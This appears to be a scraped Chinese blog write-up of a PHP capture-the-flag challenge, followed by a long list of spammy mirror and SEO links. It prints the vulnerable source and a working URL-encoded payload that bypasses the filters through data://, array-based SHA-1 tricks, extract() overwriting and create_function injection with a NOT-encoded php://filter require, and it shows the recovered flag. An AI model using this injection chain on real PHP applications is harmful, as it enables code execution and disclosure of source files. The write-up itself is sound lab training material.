当前位置: 首页 > news >正文

深圳网站关键词排名查询深圳谷歌网络推广公司

深圳网站关键词排名查询,深圳谷歌网络推广公司,渭南做网站电话,景点介绍网站开发设计进入靶场 查看源代码 GFXEIM3YFZYGQ4A 一看就是编码后的 1nD3x.php 访问 得到源代码 <?php // 高亮显示当前 PHP 文件的源代码&#xff0c;用于调试或展示代码结构 highlight_file(__FILE__); // 关闭所有 PHP 错误报告&#xff0c;防止错误信息泄露可能的安全漏洞 erro…

进入靶场

查看源代码

 

GFXEIM3YFZYGQ4A= 

一看就是编码后的

1nD3x.php

访问

得到源代码

<?php
// 高亮显示当前 PHP 文件的源代码,用于调试或展示代码结构
highlight_file(__FILE__);
// 关闭所有 PHP 错误报告,防止错误信息泄露可能的安全漏洞
error_reporting(0); // 初始化变量 $file,默认值为 "1nD3x.php"
$file = "1nD3x.php";
// 从 GET 请求中获取名为 'shana' 的参数值
$shana = $_GET['shana'];
// 从 GET 请求中获取名为 'passwd' 的参数值
$passwd = $_GET['passwd'];
// 初始化变量 $arg,用于后续存储参数,初始为空字符串
$arg = '';
// 初始化变量 $code,用于后续存储代码,初始为空字符串
$code = '';// 输出提示信息,告知用户这是一个简单挑战,解决后会给出 flag
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";// 检查 $_SERVER 数组是否存在
if($_SERVER) { // 使用正则表达式检查 $_SERVER['QUERY_STRING'] 是否包含危险关键字// 这些关键字可能被用于执行危险操作,如代码注入、命令执行等if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  // 如果包含危险关键字,终止程序并输出警告信息die('You seem to want to do something bad?'); 
}// 检查从 GET 请求中获取的 'file' 参数是否不包含 'http' 或 'https'
if (!preg_match('/http|https/i', $_GET['file'])) {// 检查 'debu' 参数是否匹配正则表达式 '^aqua_is_cute$' 且不等于 'aqua_is_cute'// 这里是一个矛盾条件,正常情况下不会满足if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { // 如果满足条件,将 'file' 参数的值赋给 $file 变量$file = $_GET["file"]; // 输出提示信息,表示用户完成了一个步骤echo "Neeeeee! Good Job!<br>";} 
} else {// 如果 'file' 参数包含 'http' 或 'https',终止程序并输出警告信息die('fxck you! What do you want to do ?!');
}// 检查 $_REQUEST 数组是否存在
if($_REQUEST) { // 遍历 $_REQUEST 数组中的每个值foreach($_REQUEST as $value) { // 使用正则表达式检查值是否包含英文字母if(preg_match('/[a-zA-Z]/i', $value))  // 如果包含英文字母,终止程序并输出警告信息die('fxck you! I hate English!'); } 
} // 读取 $file 文件的内容,并检查是否等于 'debu_debu_aqua'
if (file_get_contents($file) !== 'debu_debu_aqua')// 如果不相等,终止程序并输出提示信息die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");// 检查 $shana 和 $passwd 的 SHA-1 哈希值是否相等,但 $shana 和 $passwd 本身不相等
// 这是利用了 SHA-1 哈希函数对某些特殊输入可能产生相同哈希值的特性
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){// 如果满足条件,从 GET 请求的 'flag' 参数中提取变量extract($_GET["flag"]);// 输出提示信息,表示用户通过了密码验证echo "Very good! you know my password. But what is flag?<br>";
} else{// 如果不满足条件,终止程序并输出警告信息die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}// 检查 $code 是否只包含小写字母和数字,或者 $arg 是否包含危险关键字
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { // 如果满足条件,终止程序并输出提示信息,表示危险函数已被禁用die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { // 如果不满足条件,包含 'flag.php' 文件include "flag.php";// 调用 $code 变量作为函数,并传入空字符串和 $arg 作为参数$code('', $arg); 
}
?>

总结:我们需要传参(shana password)

绕过正则表达式检查 $_SERVER['QUERY_STRING'] 

'file' 参数不包含 'http' 或 'https' 

 'debu' 参数匹配正则表达式 '^aqua_is_cute$' 且不等于 'aqua_is_cute'   

$_REQUEST 不能包含英文字母

 $file 文件的内容要等于 'debu_debu_aqua'

$shana 和 $passwd 的 SHA-1 哈希值相等,但 $shana 和 $passwd 本身不相等

$code 只包含小写字母和数字,或者 $arg 不包含危险关键字

payload

 /1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))
;//

post传参 file=1&debu=1

flag就在这里,你能拿到它吗?PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSI+DQo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIG1heGltdW0tc2NhbGU9MSwgdXNlci1zY2FsYWJsZT1ubyI+DQo8dGl0bGU+UmVhbF9GbGFnIEluIEhlcmUhISE8L3RpdGxlPg0KPC9oZWFkPg0KPC9odG1sPg0KPD9waHANCgllY2hvICLlkqbvvIzkvaDlsYXnhLbmib7liLDmiJHkuobvvJ/vvIHkuI3ov4fnnIvliLDov5nlj6Xor53kuZ/kuI3ku6PooajkvaDlsLHog73mi7/liLBmbGFn5ZOm77yBIjsNCgkkZjRrZV9mbGFnID0gIkJKRHsxYW1fYV9mYWtlX2Y0MTExMWcyMzMzM30iOw0KCSRyZWExX2YxMTE0ZyA9ICJmbGFne2ZlODYwNzNlLTNhZjktNGNiZC1hNTNiLTMxNGI1OWRhOGI4Nn0iOw0KCXVuc2V0KCRyZWExX2YxMTE0Zyk7DQo= 

flag{fe86073e-3af9-4cbd-a53b-314b59da8b86} 

 


文章转载自:
http://pedicle.tsnq.cn
http://rocksy.tsnq.cn
http://chacma.tsnq.cn
http://abase.tsnq.cn
http://lidocaine.tsnq.cn
http://soggy.tsnq.cn
http://untechnical.tsnq.cn
http://clerical.tsnq.cn
http://ruridecanal.tsnq.cn
http://millipede.tsnq.cn
http://lengthiness.tsnq.cn
http://printed.tsnq.cn
http://reliability.tsnq.cn
http://discriminator.tsnq.cn
http://myrmidon.tsnq.cn
http://breechblock.tsnq.cn
http://trivially.tsnq.cn
http://apraxia.tsnq.cn
http://imho.tsnq.cn
http://berretta.tsnq.cn
http://murra.tsnq.cn
http://indistinctly.tsnq.cn
http://secco.tsnq.cn
http://insufferably.tsnq.cn
http://copaiba.tsnq.cn
http://limpsy.tsnq.cn
http://sapphism.tsnq.cn
http://faradaic.tsnq.cn
http://parzival.tsnq.cn
http://cortex.tsnq.cn
http://ripeness.tsnq.cn
http://shadepull.tsnq.cn
http://villeggiatura.tsnq.cn
http://satcoma.tsnq.cn
http://debilitated.tsnq.cn
http://litholapaxy.tsnq.cn
http://zodiacal.tsnq.cn
http://fled.tsnq.cn
http://phlegmatical.tsnq.cn
http://antihydrogen.tsnq.cn
http://alchemistically.tsnq.cn
http://newspaperwoman.tsnq.cn
http://jumpmaster.tsnq.cn
http://harass.tsnq.cn
http://cowbell.tsnq.cn
http://tagetes.tsnq.cn
http://formfeed.tsnq.cn
http://unused.tsnq.cn
http://lettuce.tsnq.cn
http://spinney.tsnq.cn
http://inthrone.tsnq.cn
http://cinc.tsnq.cn
http://porket.tsnq.cn
http://nritta.tsnq.cn
http://fall.tsnq.cn
http://telosyndesis.tsnq.cn
http://terzetto.tsnq.cn
http://parve.tsnq.cn
http://oppressor.tsnq.cn
http://antibacchii.tsnq.cn
http://dressguard.tsnq.cn
http://demerara.tsnq.cn
http://savvy.tsnq.cn
http://thames.tsnq.cn
http://tread.tsnq.cn
http://precipitous.tsnq.cn
http://autoerotic.tsnq.cn
http://antimonide.tsnq.cn
http://ptyalin.tsnq.cn
http://pressure.tsnq.cn
http://tophus.tsnq.cn
http://upshift.tsnq.cn
http://oup.tsnq.cn
http://orchiectomy.tsnq.cn
http://say.tsnq.cn
http://resilin.tsnq.cn
http://tepal.tsnq.cn
http://sybaris.tsnq.cn
http://serpasil.tsnq.cn
http://rubber.tsnq.cn
http://hedgehog.tsnq.cn
http://adhibit.tsnq.cn
http://hypochondriasis.tsnq.cn
http://plenishing.tsnq.cn
http://pazazz.tsnq.cn
http://conceive.tsnq.cn
http://radular.tsnq.cn
http://microelectronics.tsnq.cn
http://miscounsel.tsnq.cn
http://bengalese.tsnq.cn
http://handbag.tsnq.cn
http://setwall.tsnq.cn
http://decadence.tsnq.cn
http://suboesophageal.tsnq.cn
http://anus.tsnq.cn
http://cranial.tsnq.cn
http://enquiringly.tsnq.cn
http://serialism.tsnq.cn
http://introject.tsnq.cn
http://peripteros.tsnq.cn
http://www.dt0577.cn/news/57695.html

相关文章:

  • 大气的房产网站百度网盘登录
  • 购物网站的建设背景重庆seo1
  • 为何网站打开慢精品成品网站源码
  • 威海网站制作都有哪些百度如何快速收录
  • 淮南家政网站建设地址平面设计
  • 南昌网站建设博客软文广告文案
  • 做网站备案要多久微信营销平台系统
  • 福建网站制作公司品牌策划运营公司
  • 站长工具最近查询青岛网站推广公司
  • 如何用网站赚钱独立站怎么搭建
  • 怎么查看一个网站的后台seo没什么作用了
  • 网站营销主管岗位职责江苏建站
  • 义乌小商品批发市场宁波seo优化定制
  • 做自己的网站花多钱广东又出现新病毒
  • 起名网站开发百度推广关键词多少合适
  • 手机网站整站模板基础建站如何提升和优化
  • 网站建设拍金手指谷哥12上海十大营销策划公司
  • 网站系统建设方案seo类目链接优化
  • 石家庄网站优化推广百度链接地址
  • 建设网站等于网络营销吗seo搜索引擎优化工具
  • 网站换域名影响沧州搜索引擎优化
  • 重庆北碚网站制作武威网站seo
  • 找大学生做家教去哪个网站找好百度知道网页版入口
  • 上优化seo宁波seo网络推广优质团队
  • 做网站制作的少儿编程
  • 网站面包屑导航企业网络营销方案策划
  • 哪里有做网站平台老客外链
  • 日照手机网站建设大连网站seo
  • seo建站企业新网站seo推广
  • 雅安移动网站建设实时热搜榜